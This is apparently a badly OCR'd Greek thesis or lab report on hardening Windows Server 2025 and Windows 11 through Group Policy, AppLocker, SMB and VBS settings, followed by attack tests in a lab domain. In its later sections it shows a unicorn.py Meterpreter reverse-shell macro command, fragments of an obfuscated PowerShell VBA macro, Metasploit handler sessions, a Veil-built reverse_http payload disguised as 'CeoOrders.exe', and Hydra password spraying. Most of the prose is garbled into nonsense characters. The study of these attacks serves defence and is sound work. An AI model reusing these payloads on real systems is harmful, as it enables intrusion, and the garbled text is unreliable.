Gg
ady

Co Co C¢

WO O
CcO W C e
X Co Do

Co Co%~ @ ® w

CCO Q@

O DY
Q Cq
@ Q

o, w

D O Co Co

CC «Q

o oo

GQCW°’

—
c°u<'_o_w

QCOO” C°C°
(e ays
% Cw

O C«

w
Cw

U -

K

d

¥ 3
aessvsseeg’
BUJVYGQ3

CCCoCM| ® CoCo ™ <

© o

LD‘O—
Co Ccw

(]

P CO
QX @

CCo— X [en

‘9 ®
CO | Co

O Cw O Qg
CCoCo®

4.9 A& t 1

¢ a
d

(O]

J
3

Co @ Coe

Q ® Co
™ O v Ce
»® CC®
i N )
3 Co CcD
Co M Q, Co

S CQ

a
U
9
| d
4 .

Group Policy Modeling Wizard

Domain Controller Selection

R¢ ©ount

b y @alesclioddsn t
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matagéie o

djed

You must specify a domain controller to use for performing the simulation.
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*

The simulation performed by Group Policy Modeling must be processed on a domain controller unning

Windows Server 2003 or later.

Show domain controllers in this domain:

papei.Nikaia

Process the simulation on this domain controller.

() Any available domain cortroller running Windows Server 2003 or later

© This domain controller

Name
WIN-QUTDVIE2P 03 papei.Nikaia
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Policies/P: 1 Policy
Policy Setting Winning GPO
Erforce password history 24 passwords Default Domain Policy
remembered

Maximum password age 42 days Default Domain Policy
Minimum password age 1days Default Domain Policy
Minimum password length 7 characters Default Domain Policy
Password must mest Enabled Default Domain Policy
complexity requirements

Store passwords using Disabled Default Domain Policy

reversible encryption

Koofadlccount Policies
Yas U2a1WKgeod@&gount Policies

Enforce pass({Uge¥yYUUs Usgd OUaUgU
Jhabl0Gdd. gl U e8Uy
U'h Us)y glloce 8961 3 V]
Uszslici 83U0Ud Uds UddGYe
Maxi mum pass{¢ eyos0U0d utoayvYyalUsU si
42 dey) Ud. zUU0OY U f
cyelldd "}y Us 30 Use
Mini mum pass{B oarlUsahd 1y Us 30U
UsgaYcolUss 1 deyy U
UaaYaUs, U eUyy 63UU(d
3U UsaYsegs orlisaasid
U UsUcydliseas 69a6i3 Us
Mi ni mum pass\{B Ua¥YcoslGUesd Ujsdehd
arvlUosafh Wesxdllg j v3e30U0(d
96 UGdGUa1 3 avilisal 3.
Password mu|Bs avilssca "~y Us 30U
complexity rqU UsUetUsd "8ag &6af
"U) sycaegs aU0GUaUaU
Ujyodesgid © Ustissgid ¢
Stor e passwdAas3Us U UsU0Uj o8 65deys
reversible eleds U eddeaUiaessUUs a0
3U U 6o g UsoyUlGdqdUa,
Uaayef (Re9y.
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Account Policies/Kerberos Policy

Policy Setting Winning GPO
Enforce user logan Enabled Default Domain Palicy
restrictions

Maximum lifetime for 600 minutes Default Domain Palicy
service ticket

Maximum lfetime foruser 10 hours Default Domain Palicy
ticket

Maximum lfetime foruser 7 days Default Domain Palicy
ticket renewal

Maximum tolerance for 5 minutes Default Domain Palicy

computer clock
synchronization

KoofalKler beros Policy

Yas U2a2%geodd&er berros policies
Enforce usenKkasUs UsUjo6 68adeysd o (
restrictions uU;ee;ngeo”ﬁingGC{g’ o9 U
Ug3>¥seaUUd Uds UGGYaUsU
Maximum |ifetil¢g eyoodUd UsY)otgsd) UdgUOs
ticket a0 Uy. ¢e tUgkelleg By (Us
¥ 68 (Q3 "y haGbUGd GU g dy U
Gl]e3svsaei UsUOUeeUUs(.
Maximum 1ifet|ge UslosUeyse cjelld slci(
ticket "1y " Us 3U UsledUa 3ya8 U:¢
g djU0aalgd.
Maxi mum |ifet y: UsUsyxvad Uas g Us
ticket renewal/U a0}y UUUs o980 yvd 7 (g
cyyjad 30U dyUUs GU osa3ligse
Max i mum tolel¢g eyostlUd U heastd eU0UUU
computer g eacos0UL 3 V°asU@erBeylrJe’dflS’s
synchronizatiodgocyesslieysU jeahosUlU os
Us U” U} Uoarveopebda y(ac X %]
zU UgUyd Usd "eesUseyd:
T HUy 96y aeU0Us d tgaUUgPqUBe I¥so @iy i Uibs Wele g
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Group Policy Objects in papei.Nikaia
Cortents  Delegation

Name GPO Status WMI Fitter
|=[ Default Domain Controller... Enabled None
|=[ Default Domain Policy Enabled None
|=[ Password Policy Enabled None

KooB2lpde se@R®al
pdeosegy ot o Upmolliidijess¥
Koo HAWUjeodol i ci es

IR E Ty sty - @
& File Action View Window Help -8
e 2@ | HB5E
[ Group Policy Management Group Policy Objects in papei.Nikaia
~ A\ Forest: papeiNikaia Contents Delagation
~ (3 Domains ~
~ 3 papeiNikaia Name GPO Status WM Fiter
i/ Default Domain Policy =/ Defauk Domain Controller... Enabled None
> (& Domain Controllers (=] Defauk Domain Policy Enabled Nene
~ [} Group Policy Objects 5] Password Policy Enabled None
'=] Default Domain Controllers Palicy
(=] Default Demain Policy Maximum password age Properties ? >
=] Password Policy
> [ WMIFilters Securiy Policy Setting  Explain
> [ Starter GPOs .
4 sies E g. Maximum password age
~ il Group Policy Modeling SV
i papei on papei 18 Define this policy seting

£ papei on papei

2 Group Policy Resuts Password wil expire in:

42 2| days

zU UgUf Ues Uy 6 € 831 30 ~UpUe0U0ye s8adir Usgd
a9Us 3U Ugloesayyy UsafheU "98 "6ai Us3 U sUsdyeUsas.
Policy - Policy Setting
i Enforce user logon restrictions Enabled
| Maximum lifetime for service ticket Mot Defined
| Maximum lifetime for user ticket Mot Defined
| Maximum lifetime for user ticket renewal Mot Defined
a | Maximum telerance for computer cleck synchrenization Mot Defined

Koofgs®o | Beytings
TYsanablUed tosslUse, ¢U
d ¢} ekiedrlddregm c Us U3 @ &
iUyeheeslUd "Uysesyolceid 8
GivyaUsU, oaUdid "Uyssjasls U
Account lockout duration Properties
Securty Policy Setting  Explain

::ig. Account lockout duration

(@ Define this policy setting
Accourt is locked out for:
30 : minutes
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Enforce user logon restrictions Properties

Security Policy Setting  Explain

Enforce user logon restrictions

This security setting detemines whether the Kerberos V5 Key
Distribution Center (KDC) validates every request for a session
ticket against the user rights policy of the user account.
Walidation of each request for a session ticket is optional,
because the extra step takes time and it may slow network
access to services

Defautt: Enabled.

Koo fdxpl ain for

4. 90QAf ARAERE

jjePower el U3 Ug

O B administrator: Windows Pow: X 55

PS C:\Users\Administrator>
PS C:\Users\Administrator> Search-ADAccount

AccountExpirationDate :
: CN=Guest,CN=Users, DC=papei,DC=Nikaia
: False

DistinguishedName
Enabled

: False

: Guest

: user

: baedddca-b390-4108-af3d-13ac6ef07a9f

: False

: True

1 Guest

1 5-1-5-21-12248936U46-159910U547-1643901137-501

PasswordNeverExpires
SamAccountName

SID
UserPrincipalName

AccountExpirationDate :
DistinguishedName : CN=krbtgt,CN=Users,DC=papei,DC=Nikaia
Enabled : False

: False

: krbtgt

: user

: 51Uf0733-6efe-Ubd9-b9ce-8cO6d553a02U
: False

: False
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user |

30.00:00:00

'aUdt

Uj ot 3

PS C:\Users\Administrator> Disable-ADAccount

PS C:\Users\Administrator> |
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Applocker Properties 4
Enforcement  Advanced
Specify whether AppLocker nules are enforced for each nule
collection.
Executable rules I
B Corfigured i
Enforce nules ~ [
Windows Installer rules:
B Corfigured ;
Audit only e

Script rules
Configured F

Audit only -
Packaged app Rules:
Corfigured

Enforce niles ~ r

Koof®BAppl ocer properties
YasU2a®geodéddppl ocker properties

Executable FjgUe d y i deosld Ude ) ¥ xU
a Us o)m. FU(d3 Usaf]sﬂnfy@

rul"es "8g GdeUasUs fU
UOsaUUayloeU UycUalU Uas |
i aUde U dU Ue cliasUs
OsaUyalGd bYGUs Uxs oaUd

Wi ndows I nstljgUe dq jJidesiad UtGey ¥ U

(Windows | nstamseilUm:msp

ZUd 3 OsahgwseijWJlAwduUG
U

3 Yoe “8g ddeUaszUs §f
aUUUo ) ¥GUs (evjyad 3
380 YdUsUd UoaUUYOQOUU

UUs)oa¥segs U Usgd aUs

Script Rules)gUe o] ;idesuq day
Power Shel |l sbtrespb8t (b
eU‘éBScr|ptAo(3U/s s§J.addd
GUAudit only"

Q( C¢

Packaged AppjgUe d U sasoe Uley ¥y U
(PackagedUabdwsd c UaU.
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411 RAT flisletcurity auditing
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~ || Advanced Audit Policy Configuration
~ by Systern Audit Policies - Local Group Policy Object
» j::| Account Logon
» j::| Account Management
» j::| Detailed Tracking
> j::| D5 Access
> A Logon/Logoff
» j::| Object Access
» j::| Policy Change
» j::| Privilege Use
» j::| System
» j::| Global Object Access Auditing
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Audit Logon Properties

Policy  Explain

o Audit Logon
=

B Configure the following audit events:
B Success
B Faiure

KooMadudit Logon Properties

X MAUJIL LUHUJI UL MUIIIIHUICU
&8 Audit Logon Success and Failure
B0 Acidis Makiiack Dalim: Caneas Mok M amfimiiensd
Ko aMaAudlictg on
AUt °3l°J;:)e ‘aaigdatgdnlde ¢ " eae oUUUo) YiUs Usd U slUgeed
U¥s ) dauUL 3. dUs ui aude U.' ”zL"J Uguh Ues Ujyh ' ed 8 edeU3sssc
3y yvsegas o99U i ‘e’ O0d ty 0aUduskUaeihgUs g Bjﬁmﬂg’( (PpPdP; o080
O aosvyidd "~ e8sUd yJelbyiUsd lfJ@:gallUdadlfg’gsandwg’s b Uisgee3eaea) yiidi 36!
toavYiey Ud slidawdigddsiesy gieecy UMUB.afh H ¥vd @
4. 12 Active Directory Domain Services Securit
K3Uyoe Biompdidi RasswRoldize@sloUley UUsay nyFiane‘JuU ) d0
Grained Password Uris IUisc icessU (quWPLMf’JOUAdSUUS(ElgLMLHr ] Uy ¥ Qs Ud
Ungsf];(ijlq usUue;UUsals "6a9Usoal 3 ovliosal 3 ;F] Gbuddd
eUeesvreysaegd o6} quU@\cfﬁva&s Di r}dgwﬁnmage@imﬁ)u U03 Us Gcjelosc
G;:)”Ussﬁvsevig: “e8g G;UQYG33UU9 U UuU;shuegs 9Uue;L°JU”9VaY
e Usd U UsUetGUsd Urs ey diUl 3, rsadgesdflald) eBpasg§3BUs
sarvlsalL 3 29U haeggdUmgg’n{;ﬂémUUg’ GUes
Create Password Settings: [Tasks v | [secions v
3 password Settings Password Setngs 3 "
By A TS e Mame: * | Password age options:
Precedence: * Enforce minimum password age
Enforce minimum password length User cannot change the password withi... 1
Minimum password length (characters): T Enforce maximum password age
User must change the password after [... 42

Enforce password history
Number of passwords remembered: 24 [ Enforce account lockout policy:
Password must meet complexity requirements bumberohilaiedllagoniatempi:iRowsd
i i Reset failed logon attempts count after (m...
[[] Store password using reversible encryption Account will be locked out
#® For a duration of (mins): 30
Protect from accidental deletion Until an administrator manually unlocks the account

Koo MR rGg¢ ai ned Password Policies (FGPP)

UgselegeU U0 U o  UGU0 UOGGYaUsUHr witler G20 dy i &@sgwailg Uci ¢ C
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- - -
Mame Precedence Type Description

D History 12,345,678 Password 5.,

Kool story

Kit boy ege &y hdible W 9UgecalU Uds 3y UFieGhdailhoead UlGe
Password Pol GtBesD{E&PPYOTI Y

N W W~ A 7 A A A

4. 1486 EOERAO0 Q@EHREY SAM RPC
r\i.‘awlepo *

Name:

Disable Legacy RPC Communication

Source Starter GPO:

{none) w

Cancel

AKoofMaty " UsU) okegafAINRP C

] "U3Uyo08 696ielU Uds g’que;93~FdPChJ9Eianeesg’x3aU§fsyg’egs
6y diseeg eosei3lUs U f 'W&U@@W@;lﬁbgyﬁﬂxé(méﬂsuugsg" MﬂasUaaeg’ G Uc
DirecjtgpUfyd d “"eesUsse GUscUiUs 30 " Ujssepgady) URPCU o,
(Remote Pr ocgdruree h&alvl3).

A Enable RPC Endpoint Mapper Client Authentication

E: Enable RPC Endpoint Mapper Client Authentication Next Setting

(O Not Configured Comment:
© Enabled

() Disabled

Supported on: ¢ east Windows XP Professional with SP2

Koo Ks3 Uy o6 6old Usg UaURPdgn dpdidmtpdtiUd o250 Ucs
K3Ujoe 891300d Uss yoURR® EJrch;in]lUrtLthUJ@almnmadraldgxu hUs

o o
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sUsahbesgeald UsyyoUsld © "y hGBUGd GU UgUadddUU uOuteeysU
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4. 14 GoORFNARMA E

(») €  WIN-QUTDVIE2P03 papeiNikaia

Hyper-V cannot be installed: The processor does not have required virtualization
capabilities.

KoofM®j 6UgcalU UsNyma sadidd

K Us M nal Bves wd&dg Ua3 Us GUdecessidipgniwvasev® U3 €6y Ge Usg
virmaahibtle physbenlegelU HUs UUs e " e8j3e8ieU 3U UsazUjoe’ 89c¢
ieoseYlogelU 30 UphyGsieampd BUW ywWnUlsciecU 090950 UalUldeUyos

3§ C:\Users\cfifl> Get-WmiObject Win32_ComputerSystem | Select-Object NumberOflogicalProcessors, NumberOfProcesso
rs, Model

{umbe icalProcessors Num Processors Model

1 OptiPlex 70u®

Koo fMatKls o fNulndA physical workstation
4, 15 Server Message Block (SMB) Security
hinlelePO *

Name:
Disable SMBv1|

Source Starter GPO:

{none) e

0K ] Cancel

Koofa8(j " Us Uy o6MB8md0ad

] " UsUjoieUsiaBvl "~eg UaszUs “~Uessh oU0Us Ugvermde. U
“"Disabl e USMBW] %8 856i eSIMBUHIGE g)ywlicalfleasg.

& Enable insecure guest legons a X

E Enable insecure guest logons Previous Setting Next Setting

O Not Configured ~ Comment:
() Enabled

© Disabled

Supperted On: ¢ jeast Windows Server 2016, Windows 10

Ao oM®J " Us Uy od neshedtiodg e n s

o, -
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Ggyjasegel UdDi¥adbpaasea W U0 Gols i alsld
cy¥jad yaUoee UUgURUqUUg J gUfh UVUasUs dde
a0 "hyegd, eUsi13630Ud yUts Ue3 osa3iligsse
cryjad UsU sGUU0gUey oU.

A Enable SMB over QUIC

5] Enable SMB over QUIC

Previous Setting

Mext Setting

(2 Not Configured Comment:
© Enabled
() Disabled
Supperted on: At least Windows Server 2025, Windows 11
Options: Help:

This policy setting controls whether the SMB server will enable
SMB over QUIC.

If you disable this policy setting, the SMB server will not accept
connections over QUIC.

Koo flOWA3 Uy 06 SMBdeld !

"1 ¥Uhocaas
"Ue o7 G

Uuda i B
29U Uds
ahbegagg

U sdlgyeeasUd B 0

g8 ;YUF}SM&\B@MIWZGsUe y3U UGGUayGUU, @
JhabUGd U UyelaU, oU0did cjduobtl@alla »94

TCP

A Mandate the maximum version of SMB O *

Ei Mandate the maximum version of SMEB T Next Setting

I

() Not Configured Cammprzniz

O Enabled

() Disabled

Supported on: At least Windows Server 2022, Windows 11

Cpticns: Help:

Select SMB version: This policy centrols the maximum version of SMB protocol

Versicn: | V| Mote: This group pelicy does not prevent use of SMEB 1 if that

- compenent is still installed and enabled.
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4. 16 Go6 ORPBRROICOKE Cl oni ng

Taking a snapshot lets you preserve the state of the virtual
machine so that you can return to the same state later,

Name: | Snapshot 1

Deseription: | Block-Level Cloning

Take Snapshot Cancel

KooaHDBnapshot

5 dnapsnot >
capture eteen _

/? Manage > Change Hardware Compatibility
Install VMware Tools... B Clone..

T n ?
- ~ ol

Ko a HLOIBI one

[7 Settings...

Name of the New Virtual Machine
What name would you like to use for this virtual machine?

Virtual machine name
[ Clone of ws2025Victim |

Location
| C:\Users\dimit\DocumentsWirtual Machines\Clone of WS2025Vic ‘ Browse...

Koo HaDM4y 3 eGllbne
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4,17 Virtuaddased i®encurity (VBS) Encl aves

NlnlalePO K

Name:
Enable VBS Enclaves

Source Starter GPO:

(none) v
Cancel
Koo fE3 Uy o6 WRISUENC| aves
qgsewwmwpse@ymm@ pUUmm&ﬁﬁnaplg VBS gEMBSaves" .
Encl alvaessU s Uv';h duumS@@b belg yyo' dUb Wedgg U eehsxld Udgo
ﬁsO;oUuslsem&[@ igelbaed g3 UURUJUU U  sUyy Us GU UGUJeaoy
a0 UjebYoeosesUU gydoed OUGdyaUsUdg, tosUevyoleysU 0O U
encl dyediliy)jegs U dlapeasUy dgWadddqUU UGUUeeys3U saUs UsUL
a1 lsaU, Uaheq aUs Us UgUhRd yeUs U eaUelUs “pHOBUG GU
~ ™ Turn On Virtualization Based Security
;ll E} Turn On Virtualization Based Security Previous Setting
) () Not Configured Comment:
© Enabled
() Disabled
Supperted on: At jeact Windows Server 2016, Windows 10
Koo HDBA3 Uy ocVBBJdOd
| aYesy Uds ah&mﬂ&mMQ@u d jidesld UsUjo26 esUa Uds U
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0d e3eed Ueg aUsUcsgjosoeci GghlUdd@ls goviediifd dda U~ s
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T jiGUsed UsUyalld uWBRY) FOtdiwwdsi gadascegs hHUs
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4,18 VBS Key Protection

j1dioce colalkeyd PolstEgd ) D@99 Wes U "~y e U0UUI GUUL
salslisY g;g'Ue\sz Yogdhd Pad e osis ¥ a a
039 Usoy Ulde t0leeysU.

Select Platform Security Level:

| Secure Boot and DMA Protection v|

Virtualization Based Protection of Code Integrity:

[Erebca i vt
Koo flOITAs Uy o e UE BLHolicdk
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This app can't run on this device
Local Administrator Password Solution (LAPS)
Microsoft
Ty

Beginning with Server 2025 and Windows 11 23H2 and later releases, Legacy LAPS has
been deprecated. Installation of the Legacy LAPS MSI is blocked on this operating
system. You need to enable Windows LAPS for managing local administrator account
passwords. For mere info, go to: https:)//go.microsoft.com/fwlink,/?linkid=2249397.
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Windows Laps Policy|
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| Device
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~ Device
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~| DiskQ nable password encryption Not configured
“ Display onfigure authorized passwerd decryptors Not configured
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| FileSh || Post-authentication actions Net configured
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|5 Group Policy Management

v £ Forest: papeiNikaia leeGdin=se

v [ Domains papei.Nikaia .
> 4 papeiNikaia
> [ Sites Group Policy objects: n

> G Group Policy Modeling ~
Name

%, Group Policy Results
Default Domain Controliers Policy
Default Domain Policy
Disable Legacy RPC Communication
Disable SMBv1
Fassnord Policy

Windows Laps Policy
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4. ACredenti al Protection

& Turn On Virtualization Based Security

[E] Turn On Virtualization Based Security

(O Mot Configured Comment;
© Enabled

() Disabled

Supported oni a4 jeast

Opticns:

Select Platform Security Level:

| Secure Boot and DMA Protection v|

Virtualization Based Protection of Code Integrity

| Mot Configured v|

() Require UEFI Memory Attributes Table
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| Enabled with UEF| lock ~ |
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1. Attacker sends phishing mail to target .
Hacker Target
4, Hacker u?ea victim's -mi:n?r?j:f:::c:::l‘:\h
C;SZT:‘?:;;:,—,—,H;C‘S;E 2. Victim clicks on Phishing
link and visits fake website
Bk
Original Website Phishing Website
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[+] Generic Options:
Responder NIC

1 el Domﬂln
Responder DCE-RPC pOIT

Listening for events ...

La er on port 8@, check permissions or other servers running.
Error ;Tq[Tlﬂ? SSL server on port 443, check permissions or other servers running.
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(1) 192.168.95.143/share/test

About 192.168.95.143

/;\, Your connection to this site isn't secure

>
._/ID Permissions for this site
Cookies and site data >
Qﬂ Tracking prevention fer this site (Basic) o
Trackers (0 blocked) >

Koo fMx22K3Ue " sliehd U  Ue dieU
7Y eoU0d U fh Usd UsUalUd 09U Uds U eUgcal aUes diegl I

1 3 ¥Yy6Us AoeUUUuquSySra'UeLS:%an@éQBqu%%hQS 143)
iUs yoeUs 4 gdeod (8l 3% (g del seeass’ elbaltadd B3 TRS Uy UaUdUe o

1 AGxU0U) sah qwaUge :A3uIURJ382§93J'eg’s(£lruaJlﬁH3dg3&q
OavUU;preifhy atieaa Ug a , h” eg 8 9 usUGUs;suI-UTyTgPSuU3 ¥ GG
g edyUes3UUd HRUs Us tUaaUgse UVUasUs UGGUayd.

JGGyaUsU G0 GgGUee 00U U¥s Windows 11 aUs Windows Seru®r 2025



U000 UgeosUse @sUU) sbe golopdsaidd

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBbBBBBBB

1 zd A3deU;XerywesBf r We il yeUUUs 3U G;QUBSG'GSDG
jgdealUsd © @26050esdHF TRPSg uUs g G0dy) aeUs

1 zd Oooegye © Kaoas yd H&IeTG’lH’kSa:aHa{UU@ﬁ;od(Yechgay
UsaY Us 5 B8 MrLaBbadsUbss he ¢ yooegj e © yecUs aeaUs, e 8} C
eesge U

63U 85 YegsUd GUs dieU UasUs UbsOUWp®ded&doiogny oaUs I
6.4Phi shing ofHo&eeEREliecor n
zeﬁhis}@ifmgtlﬂ'eadUuq Uas Uph iysshiligu g0l & csdf h - s U sUs

Gl dus 5 'G?Gis y30 aUethe)@E&e eUgau:Ueaay‘?ﬁeeLtse aUJMcsldplscmse(CBf tU;GU(
ffioom eU 3U 3U0ocUa¥legs Usgd 63 el00d oaUs 3U UoaUUUGU®

—

4y

—> C—
¥
’ o' g0
| XLM Download 3 * 2
macros Extract XE Y % e.
O g L '. ‘e
Office file = m Malware LOLBAS Infection
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KooH®2Bhi shing attack

-Overview of an attack through malicious MS Office
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/home/chronis/Downloads/unicorn-master

unicorn.py windows/meterpreter/reverse_tcp 192.168.95.143 443 macrol
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script.ixt

R EC x 5 Q ® N
1 Sub Auto_Open()
2 Dim oKgil
3 oKgild =
4 oKqgil
5 oKqil
6 0Kgil = oKgiJ + "AU

Koo H2Blal i cSicoruispt
ey e6gelU hHUs Uldesegjoeddal U
aUsafhbsgas UjycUaas.

" /w1 /C ""sv zG -;sv hj ec;sv rDD ((gv z"

oKgil + "G).value.tostring()+(gv hj).value.toString());powe"
oKgil + "rshell (gv rDD).value.toString() ('JABOAEKAPQANACQ"
BiADOAIWANAFSARABSAGWASOB t AHAADWE yAHOAKAACACTIAD "

O sUgealU oaUs UasUs

File Edit View Inset Format Debug Run Jools Add-lns Window Help

ME-d 9 pou @ EEFY @I n1so ol -
Project - VBAProject &

a | r

= 8 VBAProject (MyPaymen ‘(General)

=) -3 Microsoft Excel Objects

BE) Sheet1 (Sheet1) Sub
4 Thisworkbook Dim «
=& Modules Kal nj ec:sv rDD ((gv z"

¥ Module1 J + "G).value.toString()+(gv hj).value.
J + "rshell (gv rDD).value.toString() (
J + "AUgBiADOAJWANAFSARABS: SQBtAHARbWBYRHQAKARC
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Microsoft Excel Security Notice ? X
. Microsoft Office has identified a potential security concern.

Malicious Macros Detected.

Macros in this document have been identified by your virus scanner as
malicious

Office will now close to protect your data

This message will auto-dismiss shortly,
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/home/chronis/Downloads/

fhomefchronlsfno
o Ceofile.exe

Koo fR2Bpd e o enyay | oi acki xaeuls mbef v enom

pdeosgypoay ltbdddlegd Uy U0 vaxy ~UyveUU) emgt elr édtoar f 3|
sessidsUagUssay¥Y "~ Uy UayUr:
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“) 1 Interrupted Action = x

An unexpected error is keeping you from copying the file. If you continue
to receive this error, you can use the error code to search for help with this
problem.

Error 0x200T00ET: Operation did not complete successfully because the file
contains a virus or potentially unwanted software,

Ceofile
. Type: Application
Size: 0 bytes
Try Again Skip Cancel

More details
Koo 29 "6U) ¢ e malUiyeibided s
B AiL bay’ GngUnd]cU\/ESUBJUusegsU Us egeaglteysae UjclUacs oals
Uds e00UGesy ¥ Usg.
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JGGyaUsU G0 GgGUee 00U U¥s Windows 11 aUs Windows Serv@r 2025



U000 UgecosUoae @oUUj;sbe golopdsaidd
B BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBDBBBIBB

Y Windows Security X

Virus & threat protection

Threats found

Microsoft Defender Antivirus found threats. Get

details.

Koo HxBMA3 Us slcechdgtUVar Us
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& Current threats

Threats found. Start the recommended actions.

TrojanDownloader,097M/Obfuse JRIMTB cevere
9/13/2024 1:56 PM (Active)

Koo HBUA3 Us sliehd Udd U Usaed
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Ucappl i gaaWdias U} o6 6oadeysas aUs bay 8gelU AUs d U adUdq

= 192.168.95.143
exploit(
= 4444

) > set LPORT 4444
) > exploit
se TCP handler on 192.168.95.143:4444
3:4444
176198
meterpreter >
getuid
username:
ter > i

Meterpreter

DESKTOP-F6JTGV6\dimit
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GUee UOUU0 U¥ys Windows

11

- 192.168.95.1:52130) at 2024-09-12 14:34:30 -0400

saUs Windows

Ser W@r

session 2 opened (192.168.95.143:4444 — 192.168.95.1:52119) at 2024-09-12 14:34:31 -0400
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66Brute forcd Bdydmak
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() = o
G 3
] uuon st of Repeats Login
sl d& Attempts Until Credential Validation
P“."m.' One Is Successful
Combinations
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Spraying
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/home/chronis/Downloads
L usernames.txt P passwords.tx

e do not use in military or secret service or: tions, or for illegal purposes (this is non-binding, these #* ignor

f parallel connections and -W 1 or -W 3 to wait between connection to allow the servei

might be

5 might

: login: di

ctive for remote desktep: login: chr

Bay "egelU HUs 85 "~ 380 ¥dUsUd U eUgocyYssga dp Usite ul
UeheU oUs dGxydUsa 30 UasOl hyedaﬁ%iavfzéaaqdjo’eagﬁ ﬂjdasdjdj‘ga;fdfdja(](
Usg cjyeald oUdtirde noohtpe O B 8Blq Urdeag 3 Ud " 6g yecegeU UGUyehqd
UasUs U sUgced UfmUrUeewa}JEng’UgagUeuﬁlﬁlgg’Umm@IchngeeshUUUQUUU
3 U s’e;yﬁf’Je 3 Udpyo0f ovmWied U3z U by Ua oY 85U Yaod dij U Uc
ycege U b&Xeotehdthd mUavi ndbwsalUe dU lgloesayysgs Usalieg Ud

JGGyaUsU G0 GgGUee 00U U¥s Windows 11 aUs Windows Servd¥Wr 2025



U000 UgeosUse @sUU) sbe golopdsaidd
B BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBDBBBIBB

6.7Cl i ehitde attack

Artacker

Computer
(Send emall/IM to Victim)

Victim Fake Website
Computer
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View the full module info with the 1

d command.

) > set LHOST 192.168.95.143

Using URL: http://192.168.95.143:8080/wmx479Z
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< C (@ 192.168.95.143:8080/wmx479Z

Hmmm... can't reach this page

192.168.95.143 took too long to respand

Try:
+  Checking the connection
« Checking the proxy and the firewall

ERR_CONNECTION_TIMED_OUT

AooH®BT "sUje e U adlGdd

cpeass‘?‘segsLu neiklg yeege U 30 dxpledistisgsUa aUs bay @g
fJ'odUuq Oasz Us U’sUgGeg’

18080 /wmx479Z

@ (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
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Koof3Bypasannigvirus
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UdGUal0aBd[ ®w]d.d Usamt t abepifiotf edVGd UsUYGOGUTUD2U0Uds U0
Obfuscated Files or I nformation.

Veil | [Version]: 3.1.14

[web]: https://ww .veil-framework.com/ | [Twitter]: @VeilFramework

ain Menu

2 tools loaded

KooHaAl@et bol s

] 3da0cgedilkeal i neukc¥sde U oaUs bey 6gelU U tsUdylGscel
cydisee eoelicegeU.

eil-Evasion Menu
41 payloads loaded
Available Commands:

back Go to Veil's main menu

checkvt Check VirusTotal.com against generated hashes
clean Remove generated artifacts

exit Completely exit Veil

info Information on a specific payload

list List available payloads

use Use a specific payload

eil/Evasion>: |}

KooHaAWephyl oads

K soyocgewv@dstbde boay 6gel hpleoy| beallicgUBaU42 6)6iclU 3
cyduisee eoseliecge U.

Payload Information:

Name: Pure Golang Reverse HTTP Stager

Language: go

Rating: Normal

Description: pure windows/meterpreter/reverse_http stager, no
shellcode

: go/meterpreter/rev_http selected

KoofaAlBel eptagd oad

; UUVO’sayaegle @myﬂ@mmwepeeysgqusse’69Uaha$m Us Uad(
ta00 30 U ealelicgel ; R abUAwi nedleew $3ilv i'rUy DaY¥YeyaegeU Us
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¢ Co

[go/meterpreter/rev_http>>]: lhost 192.168.64.129
[go/meterpreter/rev_http>>]: lport 8080
[go/meterpreter/rev_http>>]: PROCESSORS 2

[go/meterpreter/rev_http>>]: SLEEP 9
[go/meterpreter/rev_http>>]: MINPROCS 1
[go/meterpreter/rev_http>>]: RAMCHECK true
[go/meterpreter/rev_http>>]: DISKSIZE 1
go/meterpreter/rev http>>]:

KooHaABeupayl oad
ANgdeasemayl slsdUsd ~ Uy Ua¥YUx U sacoyd:

1 set |l host 192 de®Ba 6dd 1 ®Bethy dsditiladealseg (
Hosff)eg Ue diegU dU GgsulUdUa.

1 set | poBjtac8sB0BdrithdsU ¢ salU dU Usgi Us & U ol
Uds UstUjehelUsd GisulGd U h Ues diel.

q set PROCESS®R s 259 Ue s Uy sadeh O Us03 0000
) dlosege e6addei 3.

1 set SLHBRc3:asUs Ues 6j363909h tUoaYadUdeU UsUea:
e UUU3i Uxs UsUdeyYUvs wGisuladd.
1 set MI NPRAQ@%¥ecdsUs Ues Uea¥YeoslGUs Ujsdeh U
U UsUst 3UU>s

1 set RAMCHECKS3 Ujrome .69 0a Uec3s RAMUBEe 3dlzecdd

UzUGGUasGU0a HAUs g ¥Yyeegs U Uyalad "~ hHyeo.

Language: go

Payload Module: go/meterpreter/rev_http

Executable written to: /var/lib/veil/output/compiled/CeoOrders.exe

Source code written to: /var/lib/veil/output/source/CeoOrders.go

Metasploit Resource file written to: /var/lib/veil/output/handlers/CeoOrders.rc

Koo HLaAldpd & 9 anga | oi ackl xoeu s

pdeoscg) odalUiUeixdlies ¢ sae ehasd Us UyyazUs Us dielU ye
tilel\/\ls 8dGY3d8U ’U;UWVadbmestbwg’eUUGé]sesU yeUs x
jeego) UledlUs>> © "oayGUs Us <<diegeU>> (a0U

Information

& &

bootmgr.efi CeoOrders certificate.pem

7 folders | 7 files: 4.9 MiB ( b bytes) | Free space:

Koo MaalBU) ¢ Ua e
KotYoegelU Us ulspbs Uae aU y3U
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How To Fully Bypass Microsoft
B AutoPlay
ESD-USB (D:)

There's a problem with this drive. Scan the drive now
and fix it.

KoofalBs U slehd a2U00Y Wsms eUUUGe) ¥ eU
bey 6geU hHUs ehasd Ues Usidhiddeg ¥ dlilzslgisosadgiden
; hbode WssblsUG j} ¥y (socasnU o2a3Us

@ Windows Security X
Windows Security

Threats found
Microsoft Defender Antivirus found threats. Get

details.

Dismiss

Koo fMaAlTAs Us s OWihnd @vesg ur i ty

z0d UeU3agUUUs ¢haosdudipdill) bhitd delol B sWshiSda ur ity
(Microsoft DefanderealintWadealys)sUs hHUs yeegs by UdUa C
Usitie sgaqdliqd "~Ujyyee&s esoallll slyesdled iUy Ud “~adyele)ald Ul
Uy haU UgUyY UeddeagdeDids Wibes@o 308 U 8y jayegelU Udas Ustae esadd
D:\CEDC:H;;I?S::E;E >
° D:\CeoOrders.exe
Operation did not complete successfully because the file contains a virus or petentially
unwanted software.
Koofl#aB) " eUj e e UselyearUldd Usg
. H;Glﬁl'Uvd'GiSU 30 UseazegeU Ue UjcUas oUs bay sgel U
y3U egesagelU GGYaeUUcsd, Ue ¢ 6acD\@amdrdeilddeorde; Wy cdld e
UsUUaUOUUa. B ahoed "eg UsUly, UUUsUBGsEdi pgeicUecbpébe
